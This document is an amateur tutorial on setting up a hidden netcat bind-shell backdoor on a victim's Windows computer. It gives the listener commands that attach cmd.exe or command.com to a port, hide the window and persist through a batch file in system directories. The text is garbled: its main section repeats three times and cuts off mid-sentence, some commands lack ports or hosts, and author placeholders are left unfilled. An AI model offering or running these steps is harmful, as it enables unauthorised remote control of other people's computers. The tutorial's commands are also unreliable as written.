How to create a backdoor using netcat

What is netcat.

Netcat is a networking security tool from the l0pht and can be used to
set up backdoors (ways of returning from a compromised system).
Setting up backdoors.

We must first create a batch file using a simple line command. The line must contain:

nc -L -d -p -t -e cmd.exe

Then we will place the netcat executable (nc.exe) onto the C:\windows\system32 directory.

NOTE: We are talking about win 2000,NT,XP. This wont work on other OS. The reason is simple. Read below and learn.

Then we must place the batch file in the C:\windows\system32 directory and run it. Then we simply need to use a telnet or netcat to connect to our victem. I will explain it using netcat. Open DOS (start->run->cmd.exe) and type in:

C:\WINDOWS\> nc -v

Once you connected to that port on the victem's computer, you'll have a DOS prompt that you can give any command on the victem's computer.

NOTE: The backdoor will close whenever the victem shuts down their
computer. To get it running again, just run the batch file.
Explaining the batch command line.

* nc tells Windows to run the nc.exe file with the following arguments:
*

-L Tells netcat to not close and wait for connections


*

-d Tells netcat not to open a Window when running
*

-p Specifies a port to listen for a connection on
*

-t Tells netcat to accept telnet connections
*

-e Tells what program to run once the port is connected to

How to use it on win 95,98,ME.

First, put the nc.exe file in the c:\windows directory. Put the batch file there too, but this time change the batch command line to:
What is netcat.

Netcat is a networking security tool from the l0pht and can be used to
set up backdoors (ways of returning from a compromised system).
Setting up backdoors.

We must first create a batch file using a simple line command. The line must contain:

nc -L -d -p -t -e cmd.exe

Then we will place the netcat executable (nc.exe) onto the C:\windows\system32 directory.

NOTE: We are talking about win 2000,NT,XP. This wont work on other OS. The reason is simple. Read below and learn.

Then we must place the batch file in the C:\windows\system32 directory and run it. Then we simply need to use a telnet or netcat to connect to our victem. I will explain it using netcat. Open DOS (start->run->cmd.exe) and type in:

C:\WINDOWS\> nc -v

Once you connected to that port on the victem's computer, you'll have a DOS prompt that you can give any command on the victem's computer.

NOTE: The backdoor will close whenever the victem shuts down their
computer. To get it running again, just run the batch file.
Explaining the batch command line.

* nc tells Windows to run the nc.exe file with the following arguments:
*

-L Tells netcat to not close and wait for connections
*

-d Tells netcat not to open a Window when running
*

-p Specifies a port to listen for a connection on
*

-t Tells netcat to accept telnet connections
*

-e Tells what program to run once the port is connected to

How to use it on win 95,98,ME.

First, put the nc.exe file in the c:\windows directory. Put the batch file there too, but this time change the batch command line to:
What is netcat.

Netcat is a networking security tool from the l0pht and can be used to
set up backdoors (ways of returning from a compromised system).
Setting up backdoors.

We must first create a batch file using a simple line command. The line must contain:

nc -L -d -p -t -e cmd.exe

Then we will place the netcat executable (nc.exe) onto the C:\windows\system32 directory.

NOTE: We are talking about win 2000,NT,XP. This wont work on other OS. The reason is simple. Read below and learn.

Then we must place the batch file in the C:\windows\system32 directory and run it. Then we simply need to use a telnet or netcat to connect to our victem. I will explain it using netcat. Open DOS (start->run->cmd.exe) and type in:

C:\WINDOWS\> nc -v

Once you connected to that port on the victem's computer, you'll have a DOS prompt that you can give any command on the victem's computer.

NOTE: The backdoor will close whenever the victem shuts down their
computer. To get it running again, just run the batch file.
Explaining the batch command line.

* nc tells Windows to run the nc.exe file with the following arguments:
*

-L Tells netcat to not close and wait for connections
*

-d Tells netcat not to open a Window when running
*

-p Specifies a port to listen for a connection on
*

-t Tells netcat to accept telnet connections
*

-e Tells what program to run once the port is connected to

How to use it on win 95,98,ME.

First, put the nc.exe file in the c:\windows directory. Put the batch file there too, but this time change the batch command line to:

nc -L -d -p -t -e command.com

Ok, that should be work. The reason is simple. Win 95,98,ME doesnt use execute paths like NT does. If you wouldn't have put the files in System32 directory on NT, the program wouldn't have executed the batch file because it wouldn't have been in the file path - but you don't have to worry about that in 95,98,ME. The reason why we put the files in the c:\windows directory on 95,98,Me is because that's where the command.com file is - the MS-DOS Prompt file. (It's cmd.exe on NT,2000,XP). That's why we ran command.com instead of cmd.exe.

Article written by AUTHOR_NAME

WRITE_ABOUT_YOURSELF